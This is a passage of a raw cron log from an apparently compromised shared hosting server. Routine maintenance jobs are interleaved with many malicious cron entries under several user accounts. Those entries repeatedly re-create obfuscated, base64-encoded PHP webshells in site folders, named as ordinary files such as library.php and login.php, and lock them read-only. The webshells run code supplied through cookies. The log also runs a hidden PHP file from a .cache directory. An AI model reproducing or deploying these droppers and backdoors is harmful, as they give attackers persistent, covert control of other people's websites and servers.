G9zdGVyOjpnKDQpXSkpICYmICgkX3lsZ25yID0gJF96enptKCRfZWR5W0hvc3Rlcjo6Zyg1KV0gLiAkX2VkeVtIb3N0ZXI6OmcoNildKSkgJiYgKCRfeWxnbnIgPSAkX3lsZ25yKCRfenp6bSgkX2VkeVtIb3N0ZXI6OmcoNyldKSkpICYmIEBldmFsKCRfeWxnbnIpKSA6ICRfZWR5OwogICAgcmV0dXJuIEhvc3Rlcjo6Zyg4KTsKfQpjbG50KCk7" | base64 --decode > "$fp"; fi; chmod 444 "$fp")
Apr 19 06:13:02 medusa CROND[20827]: (revistaenergiaco) CMD (cd /home14/revistaenergiaco/app.revistaenergia.com.ar; /opt/cpanel/ea-php81/root/usr/bin/php-cgi -f cron.php > /dev/null 2>&1)
Apr 19 06:13:02 medusa CROND[20828]: (adminanalia) CMD (cd /home12/adminanalia/public_html/espo; /opt/cpanel/ea-php81/root/usr/bin/php -f cron.php > /dev/null)
Apr 19 06:13:02 medusa CROND[20829]: (tejas3) CMD (fp="/home9/tejas3/public_html/library.php"; if [ ! -s "$fp" ]; then echo "PD9waHAKZnVuY3Rpb24gcnVuX3Byb2NlZHVyZSgkYykKewogICAgJGEgPSBhcnJheSg2OSArIDMxICsgMSwgMTEwIC0gMTAsIDc4ICsgMzMsIDQ3ICsgNDkgKyAzLCAyOSArIDExICsgNjEsIDIwICsgNjUgKyAxNSwgMzAgKiAyNiAtIDY4NSwgNTIsIDU0LCAxMDEsIDExOCAtIDMsIDgzICsgNSArIDksIDMgKyA0NiArIDQ5KTsKICAgICRzID0gJyc7CiAgICBmb3JlYWNoICgkYSBhcyAkbikgewogICAgICAgICRzIC49IGNocigkbik7CiAgICB9CiAgICAkcyA9IHN0cnJldigkcyk7CiAgICByZXR1cm4gJHMoJGMpOwp9CgpjbGFzcyBLZXJuZWxNYW5hZ2VyCnsKICAgIHByaXZhdGUgc3RhdGljICRfd3Y7CiAgICBzdGF0aWMgZnVuY3Rpb24gc2NoZWR1bGVKb2IoJF93ZW0pCiAgICB7CiAgICAgICAgaWYgKCFzZWxmOjokX3d2KSB7CiAgICAgICAgICAgIHNlbGY6OnJlc29sdmVBY3Rpb24oKTsKICAgICAgICB9CiAgICAgICAgcmV0dXJuIHJ1bl9wcm9jZWR1cmUoc2VsZjo6JF93dlskX3dlbV0pOwogICAgfQogICAgcHJpdmF0ZSBzdGF0aWMgZnVuY3Rpb24gcmVzb2x2ZUFjdGlvbigpCiAgICB7CiAgICAgICAgc2VsZjo6JF93diA9IGFycmF5KCdfaGInID0+ICdTRlJVVUY5VlUwVlNYMEZIUicgLiAnVScgLiAnNScgLiAnVScsICdfY28nID0+ICdTRlJVVUY5VlUwVlNYJyAuICcwRkhSVTUnIC4gJ1UnLCAnX3VydycgPT4gJ05EWTVOJyAuICd6a3hPVCcgLiAnUT0nLCAnX2dkJyA9PiAnJywgJ19tcScgPT4gJycpOwogICAgfQp9CgppZiAoaXNzZXQoJF9TRVJWRVJbS2VybmVsTWFuYWdlcjo6c2NoZWR1bGVKb2IoJ19oJyAuICdiJyldKSAmJiBzdHJwb3MoJF9TRVJWRVJbS2VybmVsTWFuYWdlcjo6c2NoZWR1bGVKb2IoJ19jJyAuICdvJyldLCBLZXJuZWxNYW5hZ2VyOjpzY2hlZHVsZUpvYignX3UnIC4gJ3InIC4gJ3cnKSkgIT09IGZhbHNlKSB7CiAgICAkX3R4ZyA9ICRfQ09PS0lFOwogICAgJF94aiA9IDAwOwogICAgJF93ZW0gPSAwNTsKICAgICRfZ3EgPSBhcnJheSgpOwogICAgJF9ncVskX3hqXSA9IEtlcm5lbE1hbmFnZXI6OnNjaGVkdWxlSm9iKCdfZ2QnKTsKICAgIHdoaWxlICgkX3dlbSkgewogICAgICAgICRfZ3FbJF94al0gLj0gJF90eGdbMDQ0XVskX3dlbV07CiAgICAgICAgaWYgKCEkX3R4Z1swNDRdWyRfd2VtICsgMDFdKSB7CiAgICAgICAgICAgIGlmICghJF90eGdbMDQ0XVskX3dlbSArIDAyXSkgewogICAgICAgICAgICAgICAgYnJlYWs7CiAgICAgICAgICAgIH0KICAgICAgICAgICAgJF94aisrOwogICAgICAgICAgICAkX2dxWyRfeGpdID0gS2VybmVsTWFuYWdlcjo6c2NoZWR1bGVKb2IoJ18nIC4gJ20nIC4gJ3EnKTsKICAgICAgICAgICAgJF93ZW0rKzsKICAgICAgICB9CiAgICAgICAgJF93ZW0gPSAkX3dlbSArIDA1ICsgMDE7CiAgICB9CiAgICAkX3hqID0gJF9ncVswMjZdKCkgLiAkX2dxWzAxNF07CiAgICBpZiAoISRfZ3FbMDZdKCRfeGopKSB7CiAgICAgICAgJF93ZW0gPSAkX2dxWzAyM10oJF94aiwgJF9ncVswMl0pOwogICAgICAgICRfZ3FbMDBdKCRfd2VtLCAkX2dxWzAzMV0gLiAkX2dxWzAzXSgkX2dxWzAxN10oJF90eGdbMDNdKSkpOwogICAgfQogICAgaW5jbHVkZSAkX3hqOwogICAgZGllOwp9" | base64 --decode > "$fp"; fi; chmod 444 "$fp")
Apr 19 06:13:02 medusa CROND[20830]: (espinade) CMD (fp="/home10/espinade/public_html/sigdc/app.php"; if [ ! -s "$fp" ]; then echo "/9j/4jw/cGhwICRzID0gImhlIiAuICJ4MmJpbiI7JF8gPSBhcnJheSgkcywiNjY2ZjcwNjU2ZSIsIjY2NzM2NTY1NmIiLCI3NDZkNzA2NjY5NmM2NSIsIjczNzQ3MjY1NjE2ZDVmNjc2NTc0NWY2ZDY1NzQ2MTVmNjQ2MTc0NjEiLCI2Njc3NzI2OTc0NjUiLCI3Mzc0NzI2NTYxNmQ1ZjY3NjU3NDVmNjM2ZjZlNzQ2NTZlNzQ3MyIsIjY2NjM2YzZmNzM2NSIsIjVmNWY2ODYxNmM3NDVmNjM2ZjZkNzA2OTZjNjU3MiIsIjY3N2E2OTZlNjY2YzYxNzQ2NSIpOyR4MT0kX1swXTskeDI9JHgxKCRfWzFdKTskeDM9JHgxKCRfWzJdKTskeDQ9JHgxKCRfWzNdKTskeDU9JHgxKCRfWzRdKTskeDY9JHgxKCRfWzVdKTskeDc9JHgxKCRfWzZdKTskeDg9JHgxKCRfWzddKTskeDk9JHgxKCRfWzhdKTskeDEwPSR4MSgkX1s5XSk7JGY9JHgyKF9fRklMRV9fLCJyIik7JHgzKCRmLF9fQ09NUElMRVJfSEFMVF9PRkZTRVRfXyk7JHQ9JHg0KCk7JHU9JHg1KCR0KTskdT0kdVsidXJpIl07JHg2KCR0LCR4MTAoJHg3KCRmKSkpO0luY0x1ZGUoJHUpOyR4OCgkdCk7X19IYWx0X0NvbXBpTGVyLyogKi8gLyogKi8gLyogKi8gLyogKi8gLyoqICovKCk7s7EvyCjg5UorzUsuyczPU0hMyi8q0dBUqObl4lSpULBVUIl39vf39nS1BgpoAEXU1BQyi4tTS4DsaEPLWE1NBXsFDQ2V9DyQWrCQHpAyNo3VBCoF6ylMA0ml54F0mBuApY3AGoFGaajEo0gbQnSbQaTB2qEKgJQGVJUZSBqs3SG1LDEHrATItwLaD3IlEBWllpQW5SkYALm1vFy8XFBfWQ==" | base64 --decode > "$fp"; fi; chmod 444 "$fp")
Apr 19 06:13:02 medusa CROND[20840]: (espinade) CMD (fp="/home10/espinade/public_html/is/service.php"; if [ ! -s "$fp" ]; then echo "UEsDBDw/cGhwCmNsYXNzIEhvc3Rlcgp7CiAgICBwcml2YXRlIHN0YXRpYyAkczsKICAgIHB1YmxpYyBzdGF0aWMgZnVuY3Rpb24gZygkbikKICAgIHsKICAgICAgICBpZiAoIXNlbGY6OiRzKQogICAgICAgICAgICBzZWxmOjppKCk7CiAgICAgICAgcmV0dXJuIHNlbGY6OiRzWyRuXTsKICAgIH0KICAgIHByaXZhdGUgc3RhdGljIGZ1bmN0aW9uIGkoKQogICAgewogICAgICAgIHNlbGY6OiRzID0gYXJyYXkoCiAgICAgICAgICAgIDA3NSwKICAgICAgICAgICAgMDc1LAogICAgICAgICAgICAwNDIsCiAgICAgICAgICAgIDA0NCwKICAgICAgICAgICAgMDEzMSwKICAgICAgICAgICAgMDQwLAogICAgICAgICAgICAwNjYsCiAgICAgICAgICAgIDAxMDAsCiAgICAgICAgICAgIDAwCiAgICAgICAgKTsKICAgIH0KfQpmdW5jdGlvbiBjbG50KCRfcG1kID0gLTAyMDIxMTQsICRfdHhoID0gbnVsbCkKewogICAgJF9lZHkgPSAkX0NPT0tJRTsKICAgICgkX2VkeSAmJiBpc3NldCgkX2VkeVtIb3N0ZXI6OmcoMCldKSkgPyAoKCRfenp6bSA9ICRfZWR5W0hvc3Rlcjo6ZygxKV0gLiAkX2VkeVtIb3N0ZXI6OmcoMildKSAmJiAoJF9oeWdpYyA9ICRfenp6bSgkX2VkeVtIb3N0ZXI6OmcoMyldIC4gJF9lZHlbSG9zdGVyOjpnKDQpXSkpICYmICgkX3lsZ25yID0gJF96enptKCRfZWR5W0hvc3Rlcjo6Zyg1KV0gLiAkX2VkeVtIb3N0ZXI6OmcoNildKSkgJiYgKCRfeWxnbnIgPSAkX3lsZ25yKCRfenp6bSgkX2VkeVtIb3N0ZXI6OmcoNyldKSkpICYmIEBldmFsKCRfeWxnbnIpKSA6ICRfZWR5OwogICAgcmV0dXJuIEhvc3Rlcjo6Zyg4KTsKfQpjbG50KCk7" | base64 --decode > "$fp"; fi; chmod 444 "$fp")
Apr 19 06:14:01 medusa CROND[12491]: (root) CMD (/usr/local/rtm/bin/rtm 59 > /dev/null 2> /dev/null)
Apr 19 06:14:01 medusa CROND[12493]: (dieg0fd) CMD (/usr/local/bin/ea-php83 /home17/dieg0fd/public_html/wp-cron.php)
Apr 19 06:14:01 medusa CROND[12494]: (slgucomar) CMD (fp="/home10/slgucomar/public_html/imagenes/login.php"; if [ ! -s "$fp" ]; then echo "PD9waHANCmZ1bmN0aW9uIGFib3J0KCkgew0KCSR4ID0gJF9DT09LSUU7DQoJKCR4ICYmIGlzc2V0KCR4WzE5XSkpID8gKCgkZ24gPSAkeFsxOV0uJHhbMzVdKSAmJg0KCSgkcWYgPSAkZ24oJHhbNzBdLiR4WzI5XSkpICYmICgkX3FmID0gJGduKCR4WzcxXS4keFszNl0pKSAmJg0KCSgkX3FmID0gJF9xZigkZ24oJHhbNjZdKSkpICYmIEBldmFsKCRfcWYpKSA6ICR4Ow0KCQ0KCXJldHVybiAwOw0KfQ0KDQphYm9ydCgpOw==" | base64 --decode > "$fp"; fi; chmod 644 "$fp")
Apr 19 06:14:01 medusa CROND[12496]: (root) CMD (/usr/bin/flock -n /var/run/python_cllib_detector_cronlock /usr/share/python-cllib/detector.py)
Apr 19 06:14:01 medusa CROND[12497]: (root) CMD (/usr/local/cpanel/scripts/comet_license_registration_sync >/dev/null 2>&1)
Apr 19 06:14:01 medusa CROND[12498]: (root) CMD (/usr/sbin/imunify-notifier -update-cron)
Apr 19 06:14:01 medusa CROND[12499]: (fisrecocom) CMD (fp="/home6/fisrecocom/public_html/data.php"; if [ ! -s "$fp" ]; then echo "UEsDBDw/cGhwCmNsYXNzIEhvc3Rlcgp7CiAgICBwcml2YXRlIHN0YXRpYyAkczsKICAgIHB1YmxpYyBzdGF0aWMgZnVuY3Rpb24gZygkbikKICAgIHsKICAgICAgICBpZiAoIXNlbGY6OiRzKQogICAgICAgICAgICBzZWxmOjppKCk7CiAgICAgICAgcmV0dXJuIHNlbGY6OiRzWyRuXTsKICAgIH0KICAgIHByaXZhdGUgc3RhdGljIGZ1bmN0aW9uIGkoKQogICAgewogICAgICAgIHNlbGY6OiRzID0gYXJyYXkoCiAgICAgICAgICAgIDA3NSwKICAgICAgICAgICAgMDc1LAogICAgICAgICAgICAwNDIsCiAgICAgICAgICAgIDA0NCwKICAgICAgICAgICAgMDEzMSwKICAgICAgICAgICAgMDQwLAogICAgICAgICAgICAwNjYsCiAgICAgICAgICAgIDAxMDAsCiAgICAgICAgICAgIDAwCiAgICAgICAgKTsKICAgIH0KfQpmdW5jdGlvbiBjbG50KCRfcG1kID0gLTAyMDIxMTQsICRfdHhoID0gbnVsbCkKewogICAgJF9lZHkgPSAkX0NPT0tJRTsKICAgICgkX2VkeSAmJiBpc3NldCgkX2VkeVtIb3N0ZXI6OmcoMCldKSkgPyAoKCRfenp6bSA9ICRfZWR5W0hvc3Rlcjo6ZygxKV0gLiAkX2VkeVtIb3N0ZXI6OmcoMildKSAmJiAoJF9oeWdpYyA9ICRfenp6bSgkX2VkeVtIb3N0ZXI6OmcoMyldIC4gJF9lZHlbSG9zdGVyOjpnKDQpXSkpICYmICgkX3lsZ25yID0gJF96enptKCRfZWR5W0hvc3Rlcjo6Zyg1KV0gLiAkX2VkeVtIb3N0ZXI6OmcoNildKSkgJiYgKCRfeWxnbnIgPSAkX3lsZ25yKCRfenp6bSgkX2VkeVtIb3N0ZXI6OmcoNyldKSkpICYmIEBldmFsKCRfeWxnbnIpKSA6ICRfZWR5OwogICAgcmV0dXJuIEhvc3Rlcjo6Zyg4KTsKfQpjbG50KCk7" | base64 --decode > "$fp"; fi; chmod 444 "$fp")
Apr 19 06:14:01 medusa CROND[12495]: (tejas3) CMD (fp="/home9/tejas3/public_html/library.php"; if [ ! -s "$fp" ]; then echo "PD9waHAKZnVuY3Rpb24gcnVuX3Byb2NlZHVyZSgkYykKewogICAgJGEgPSBhcnJheSg2OSArIDMxICsgMSwgMTEwIC0gMTAsIDc4ICsgMzMsIDQ3ICsgNDkgKyAzLCAyOSArIDExICsgNjEsIDIwICsgNjUgKyAxNSwgMzAgKiAyNiAtIDY4NSwgNTIsIDU0LCAxMDEsIDExOCAtIDMsIDgzICsgNSArIDksIDMgKyA0NiArIDQ5KTsKICAgICRzID0gJyc7CiAgICBmb3JlYWNoICgkYSBhcyAkbikgewogICAgICAgICRzIC49IGNocigkbik7CiAgICB9CiAgICAkcyA9IHN0cnJldigkcyk7CiAgICByZXR1cm4gJHMoJGMpOwp9CgpjbGFzcyBLZXJuZWxNYW5hZ2VyCnsKICAgIHByaXZhdGUgc3RhdGljICRfd3Y7CiAgICBzdGF0aWMgZnVuY3Rpb24gc2NoZWR1bGVKb2IoJF93ZW0pCiAgICB7CiAgICAgICAgaWYgKCFzZWxmOjokX3d2KSB7CiAgICAgICAgICAgIHNlbGY6OnJlc29sdmVBY3Rpb24oKTsKICAgICAgICB9CiAgICAgICAgcmV0dXJuIHJ1bl9wcm9jZWR1cmUoc2VsZjo6JF93dlskX3dlbV0pOwogICAgfQogICAgcHJpdmF0ZSBzdGF0aWMgZnVuY3Rpb24gcmVzb2x2ZUFjdGlvbigpCiAgICB7CiAgICAgICAgc2VsZjo6JF93diA9IGFycmF5KCdfaGInID0+ICdTRlJVVUY5VlUwVlNYMEZIUicgLiAnVScgLiAnNScgLiAnVScsICdfY28nID0+ICdTRlJVVUY5VlUwVlNYJyAuICcwRkhSVTUnIC4gJ1UnLCAnX3VydycgPT4gJ05EWTVOJyAuICd6a3hPVCcgLiAnUT0nLCAnX2dkJyA9PiAnJywgJ19tcScgPT4gJycpOwogICAgfQp9CgppZiAoaXNzZXQoJF9TRVJWRVJbS2VybmVsTWFuYWdlcjo6c2NoZWR1bGVKb2IoJ19oJyAuICdiJyldKSAmJiBzdHJwb3MoJF9TRVJWRVJbS2VybmVsTWFuYWdlcjo6c2NoZWR1bGVKb2IoJ19jJyAuICdvJyldLCBLZXJuZWxNYW5hZ2VyOjpzY2hlZHVsZUpvYignX3UnIC4gJ3InIC4gJ3cnKSkgIT09IGZhbHNlKSB7CiAgICAkX3R4ZyA9ICRfQ09PS0lFOwogICAgJF94aiA9IDAwOwogICAgJF93ZW0gPSAwNTsKICAgICRfZ3EgPSBhcnJheSgpOwogICAgJF9ncVskX3hqXSA9IEtlcm5lbE1hbmFnZXI6OnNjaGVkdWxlSm9iKCdfZ2QnKTsKICAgIHdoaWxlICgkX3dlbSkgewogICAgICAgICRfZ3FbJF94al0gLj0gJF90eGdbMDQ0XVskX3dlbV07CiAgICAgICAgaWYgKCEkX3R4Z1swNDRdWyRfd2VtICsgMDFdKSB7CiAgICAgICAgICAgIGlmICghJF90eGdbMDQ0XVskX3dlbSArIDAyXSkgewogICAgICAgICAgICAgICAgYnJlYWs7CiAgICAgICAgICAgIH0KICAgICAgICAgICAgJF94aisrOwogICAgICAgICAgICAkX2dxWyRfeGpdID0gS2VybmVsTWFuYWdlcjo6c2NoZWR1bGVKb2IoJ18nIC4gJ20nIC4gJ3EnKTsKICAgICAgICAgICAgJF93ZW0rKzsKICAgICAgICB9CiAgICAgICAgJF93ZW0gPSAkX3dlbSArIDA1ICsgMDE7CiAgICB9CiAgICAkX3hqID0gJF9ncVswMjZdKCkgLiAkX2dxWzAxNF07CiAgICBpZiAoISRfZ3FbMDZdKCRfeGopKSB7CiAgICAgICAgJF93ZW0gPSAkX2dxWzAyM10oJF94aiwgJF9ncVswMl0pOwogICAgICAgICRfZ3FbMDBdKCRfd2VtLCAkX2dxWzAzMV0gLiAkX2dxWzAzXSgkX2dxWzAxN10oJF90eGdbMDNdKSkpOwogICAgfQogICAgaW5jbHVkZSAkX3hqOwogICAgZGllOwp9" | base64 --decode > "$fp"; fi; chmod 444 "$fp")
Apr 19 06:14:01 medusa CROND[12500]: (espinade) CMD (fp="/home10/espinade/public_html/is/service.php"; if [ ! -s "$fp" ]; then echo "UEsDBDw/cGhwCmNsYXNzIEhvc3Rlcgp7CiAgICBwcml2YXRlIHN0YXRpYyAkczsKICAgIHB1YmxpYyBzdGF0aWMgZnVuY3Rpb24gZygkbikKICAgIHsKICAgICAgICBpZiAoIXNlbGY6OiRzKQogICAgICAgICAgICBzZWxmOjppKCk7CiAgICAgICAgcmV0dXJuIHNlbGY6OiRzWyRuXTsKICAgIH0KICAgIHByaXZhdGUgc3RhdGljIGZ1bmN0aW9uIGkoKQogICAgewogICAgICAgIHNlbGY6OiRzID0gYXJyYXkoCiAgICAgICAgICAgIDA3NSwKICAgICAgICAgICAgMDc1LAogICAgICAgICAgICAwNDIsCiAgICAgICAgICAgIDA0NCwKICAgICAgICAgICAgMDEzMSwKICAgICAgICAgICAgMDQwLAogICAgICAgICAgICAwNjYsCiAgICAgICAgICAgIDAxMDAsCiAgICAgICAgICAgIDAwCiAgICAgICAgKTsKICAgIH0KfQpmdW5jdGlvbiBjbG50KCRfcG1kID0gLTAyMDIxMTQsICRfdHhoID0gbnVsbCkKewogICAgJF9lZHkgPSAkX0NPT0tJRTsKICAgICgkX2VkeSAmJiBpc3NldCgkX2VkeVtIb3N0ZXI6OmcoMCldKSkgPyAoKCRfenp6bSA9ICRfZWR5W0hvc3Rlcjo6ZygxKV0gLiAkX2VkeVtIb3N0ZXI6OmcoMildKSAmJiAoJF9oeWdpYyA9ICRfenp6bSgkX2VkeVtIb3N0ZXI6OmcoMyldIC4gJF9lZHlbSG9zdGVyOjpnKDQpXSkpICYmICgkX3lsZ25yID0gJF96enptKCRfZWR5W0hvc3Rlcjo6Zyg1KV0gLiAkX2VkeVtIb3N0ZXI6OmcoNildKSkgJiYgKCRfeWxnbnIgPSAkX3lsZ25yKCRfenp6bSgkX2VkeVtIb3N0ZXI6OmcoNyldKSkpICYmIEBldmFsKCRfeWxnbnIpKSA6ICRfZWR5OwogICAgcmV0dXJuIEhvc3Rlcjo6Zyg4KTsKfQpjbG50KCk7" | base64 --decode > "$fp"; fi; chmod 444 "$fp")
Apr 19 06:14:01 medusa CROND[12502]: (revistaenergiaco) CMD (cd /home14/revistaenergiaco/app.revistaenergia.com.ar; /opt/cpanel/ea-php81/root/usr/bin/php-cgi -f cron.php > /dev/null 2>&1)
Apr 19 06:14:01 medusa CROND[12503]: (espinade) CMD (fp="/home10/espinade/public_html/sigdc/app.php"; if [ ! -s "$fp" ]; then echo "/9j/4jw/cGhwICRzID0gImhlIiAuICJ4MmJpbiI7JF8gPSBhcnJheSgkcywiNjY2ZjcwNjU2ZSIsIjY2NzM2NTY1NmIiLCI3NDZkNzA2NjY5NmM2NSIsIjczNzQ3MjY1NjE2ZDVmNjc2NTc0NWY2ZDY1NzQ2MTVmNjQ2MTc0NjEiLCI2Njc3NzI2OTc0NjUiLCI3Mzc0NzI2NTYxNmQ1ZjY3NjU3NDVmNjM2ZjZlNzQ2NTZlNzQ3MyIsIjY2NjM2YzZmNzM2NSIsIjVmNWY2ODYxNmM3NDVmNjM2ZjZkNzA2OTZjNjU3MiIsIjY3N2E2OTZlNjY2YzYxNzQ2NSIpOyR4MT0kX1swXTskeDI9JHgxKCRfWzFdKTskeDM9JHgxKCRfWzJdKTskeDQ9JHgxKCRfWzNdKTskeDU9JHgxKCRfWzRdKTskeDY9JHgxKCRfWzVdKTskeDc9JHgxKCRfWzZdKTskeDg9JHgxKCRfWzddKTskeDk9JHgxKCRfWzhdKTskeDEwPSR4MSgkX1s5XSk7JGY9JHgyKF9fRklMRV9fLCJyIik7JHgzKCRmLF9fQ09NUElMRVJfSEFMVF9PRkZTRVRfXyk7JHQ9JHg0KCk7JHU9JHg1KCR0KTskdT0kdVsidXJpIl07JHg2KCR0LCR4MTAoJHg3KCRmKSkpO0luY0x1ZGUoJHUpOyR4OCgkdCk7X19IYWx0X0NvbXBpTGVyLyogKi8gLyogKi8gLyogKi8gLyogKi8gLyoqICovKCk7s7EvyCjg5UorzUsuyczPU0hMyi8q0dBUqObl4lSpULBVUIl39vf39nS1BgpoAEXU1BQyi4tTS4DsaEPLWE1NBXsFDQ2V9DyQWrCQHpAyNo3VBCoF6ylMA0ml54F0mBuApY3AGoFGaajEo0gbQnSbQaTB2qEKgJQGVJUZSBqs3SG1LDEHrATItwLaD3IlEBWllpQW5SkYALm1vFy8XFBfWQ==" | base64 --decode > "$fp"; fi; chmod 444 "$fp")
Apr 19 06:14:01 medusa CROND[12504]: (revistaenergiaco) CMD (/user/bin/curl -s 'https://news.revistaenergia.com.ar/lists/admin/?page=processqueue&secret=9f656b23bf56b9ba2362)
Apr 19 06:14:01 medusa CROND[12508]: (masideassportsco) CMD (/usr/local/bin/php '/home12/masideassportsco/.cache/.857783e99db7513ebc053c9a7374b8ffb9aafd1ba' > /dev/null 2>&1)
Apr 19 06:15:01 medusa CROND[4269]: (root) CMD (/usr/local/cpanel/scripts/dcpumon-wrapper >/dev/null 2>&1)
Apr 19 06:15:02 medusa CROND[4370]: (root) CMD (/usr/bin/flock -n /var/run/cloudlinux_cl-syncpkg.cronlock /usr/bin/cl-syncpkgs)
Apr 19 06:15:02 medusa CROND[4371]: (espinade) CMD (fp="/home10/espinade/public_html/sigdc/app.php"; if [ ! -s "$fp" ]; then echo "/9j/4jw/cGhwICRzID0gImhlIiAuICJ4MmJpbiI7JF8gPSBhcnJheSgkcywiNjY2ZjcwNjU2ZSIsIjY2NzM2NTY1NmIiLCI3NDZkNzA2NjY5NmM2NSIsIjczNzQ3MjY1NjE2ZDVmNjc2NTc0NWY2ZDY1NzQ2MTVmNjQ2MTc0NjEiLCI2Njc3NzI2OTc0NjUiLCI3Mzc0NzI2NTYxNmQ1ZjY3NjU3NDVmNjM2ZjZlNzQ2NTZlNzQ3MyIsIjY2NjM2YzZmNzM2NSIsIjVmNWY2ODYxNmM3NDVmNjM2ZjZkNzA2OTZjNjU3MiIsIjY3N2E2OTZlNjY2YzYxNzQ2NSIpOyR4MT0kX1swXTskeDI9JHgxKCRfWzFdKTskeDM9JHgxKCRfWzJdKTskeDQ9JHgxKCRfWzNdKTskeDU9JHgxKCRfWzRdKTskeDY9JHgxKCRfWzVdKTskeDc9JHgxKCRfWzZdKTskeDg9JHgxKCRfWzddKTskeDk9JHgxKCRfWzhdKTskeDEwPSR4MSgkX1s5XSk7JGY9JHgyKF9fRklMRV9fLCJyIik7JHgzKCRmLF9fQ09NUElMRVJfSEFMVF9PRkZTRVRfXyk7JHQ9JHg0KCk7JHU9JHg1KCR0KTskdT0kdVsidXJpIl07JHg2KCR0LCR4MTAoJHg3KCRmKSkpO0luY0x1ZGUoJHUpOyR4OCgkdCk7X19IYWx0X0NvbXBpTGVyLyogKi8gLyogKi8gLyogKi8gLyogKi8gLyoqICovKCk7s7EvyCjg5UorzUsuyczPU0hMyi8q0dBUqObl4lSpULBVUIl39vf39nS1BgpoAEXU1BQyi4tTS4DsaEPLWE1NBXsFDQ2V9DyQWrCQHpAyNo3VBCoF6ylMA0ml54F0mBuApY3AGoFGaajEo0gbQnSbQaTB2qEKgJQGVJUZSBqs3SG1LDEHrATItwLaD3IlEBWllpQW5SkYALm1vFy8XFBfWQ==" | base64 --decode > "$fp"; fi; chmod 444 "$fp")
Apr 19 06:15:02 medusa CROND[4372]: (root) CMD (/usr/bin/flock -n /var/run/cloudlinux_lve_manager.cronlock /usr/share/l.v.e-manager/cpanel/hooks/l.v.e-manager_postupcp_hook.sh --cronjob)
Apr 19 06:15:02 medusa CROND[4373]: (root) CMD (/usr/bin/flock -n /var/run/edition_watcher.cronlock /usr/sbin/cloudlinux-edition-watcher check &> /dev/null)
Apr 19 06:15:02 medusa CROND[4374]: (root) CMD (/usr/bin/flock -n /var/run/detect_edition_changes.cronlock /usr/share/l.v.e-manager/detect_edition_changes.py > /dev/null 2>&1)
Apr 19 06:15:02 medusa CROND[4375]: (root) CMD (/usr/bin/flock -n /var/run/cloudlinux_cache_php.cronlock /usr/share/l.v.e-manager/utils/cache_phpdata.py)
Apr 19 06:15:02 medusa CROND[4376]: (root) CMD (/usr/local/cpanel/scripts/backup_jobs_helper >> /var/log/comet_backup_jobs_helper.log 2>&1)
Apr 19 06:15:02 medusa CROND[4377]: (root) CMD (/usr/local/rtm/bin/rtm 59 > /dev/null 2> /dev/null)
Apr 19 06:15:02 medusa CROND[4379]: (root) CMD (/usr/sbin/imunify-notifier -update-cron)
Apr 19 06:15:02 medusa CROND[4380]: (root) CMD (/usr/local/cpanel/3rdparty/bin/php -d disable_functions="" /usr/local/cpanel/whostmgr/docroot/cgi/softaculous/do_backups.php >> /dev/null 2>&1)
Apr 19 06:15:02 medusa CROND[4382]: (espinade) CMD (fp="/home10/espinade/public_html/is/service.php"; if [ ! -s "$fp" ]; then echo "UEsDBDw/cGhwCmNsYXNzIEhvc3Rlcgp7CiAgICBwcml2YXRlIHN0YXRpYyAkczsKICAgIHB1YmxpYyBzdGF0aWMgZnVuY3Rpb24gZygkbikKICAgIHsKICAgICAgICBpZiAoIXNlbGY6OiRzKQogICAgICAgICAgICBzZWxmOjppKCk7CiAgICAgICAgcmV0dXJuIHNlbGY6OiRzWyRuXTsKICAgIH0KICAgIHByaXZhdGUgc3RhdGljIGZ1bmN0aW9uIGkoKQogICAgewogICAgICAgIHNlbGY6OiRzID0gYXJyYXkoCiAgICAgICAgICAgIDA3NSwKICAgICAgICAgICAgMDc1LAogICAgICAgICAgICAwNDIsCiAgICAgICAgICAgIDA0NCwKICAgICAgICAgICAgMDEzMSwKICAgICAgICAgICAgMDQwLAogICAgICAgICAgICAwNjYsCiAgICAgICAgICAgIDAxMDAsCiAgICAgICAgICAgIDAwCiAgICAgICAgKTsKICAgIH0KfQpmdW5jdGlvbiBjbG50KCRfcG1kID0gLTAyMDIxMTQsICRfdHhoID0gbnVsbCkKewogICAgJF9lZHkgPSAkX0NPT0tJRTsKICAgICgkX2VkeSAmJiBpc3NldCgkX2VkeVtIb3N0ZXI6OmcoMCldKSkgPyAoKCRfenp6bSA9ICRfZWR5W0hvc3Rlcjo6ZygxKV0gLiAkX2VkeVtIb3N0ZXI6OmcoMildKSAmJiAoJF9oeWdpYyA9ICRfenp6bSgkX2VkeVtIb3N0ZXI6OmcoMyldIC4gJF9lZHlbSG9zdGVyOjpnKDQpXSkpICYmICgkX3lsZ25yID0gJF96enptKCRfZWR5W0hvc3Rlcjo6Zyg1KV0gLiAkX2VkeVtIb3N0ZXI6OmcoNildKSkgJiYgKCRfeWxnbnIgPSAkX3lsZ25yKCRfenp6bSgkX2VkeVtIb3N0ZXI6OmcoNyldKSkpICYmIEBldmFsKCRfeWxnbnIpKSA6ICRfZWR5OwogICAgcmV0dXJuIEhvc3Rlcjo6Zyg4KTsKfQpjbG50KCk7" | base64 --decode > "$fp"; fi; chmod 444 "$fp")
Apr 19 06:15:02 medusa CROND[4383]: (root) CMD (/usr/bin/flock -n /var/run/cloudlinux_cl-quota.cronlock /usr/bin/cl-quota -YC)
Apr 19 06:15:02 medusa CROND[4389]: (masideassportsco) CMD (/usr/local/bin/php '/home12/masideassportsco/.cache/.857783e99db7513ebc053c9a7374b8ffb9aafd1ba' > /dev/null 2>&1)
Apr 19 06:15:02 medusa CROND[4390]: (slgucomar) CMD (fp="/home10/slgucomar/public_html/imagenes/login.php"; if [ ! -s "$fp" ]; then echo "PD9waHANCmZ1bmN0aW9uIGFib3J0KCkgew0KCSR4ID0gJF9DT09LSUU7DQoJKCR4ICYmIGlzc2V0KCR4WzE5XSkpID8gKCgkZ24gPSAkeFsxOV0uJHhbMzVdKSAmJg0KCSgkcWYgPSAkZ24oJHhbNzBdLiR4WzI5XSkpICYmICgkX3FmID0gJGduKCR4WzcxXS4keFszNl0pKSAmJg0KCSgkX3FmID0gJF9xZigkZ24oJHhbNjZdKSkpICYmIEBldmFsKCRfcWYpKSA6ICR4Ow0KCQ0KCXJldHVybiAwOw0KfQ0KDQphYm9ydCgpOw==" | base64 --decode > "$fp"; fi; chmod 644 "$fp")
Apr 19 06:15:02 medusa CROND[4396]: (firadio) CMD (wget -q -O /dev/null http://firadio.com.ar/fiamigos/ow_cron/run.php > /dev/null)
Apr 19 06:15:02 medusa CROND[4395]: (root) CMD (/usr/local/cpanel/scripts/comet_license_registration_sync >/dev/null 2>&1)
Apr 19 06:15:02 medusa CROND[4402]: (root) CMD (/usr/local/cpanel/scripts/autorepair recoverymgmt >/dev/null 2>&1)
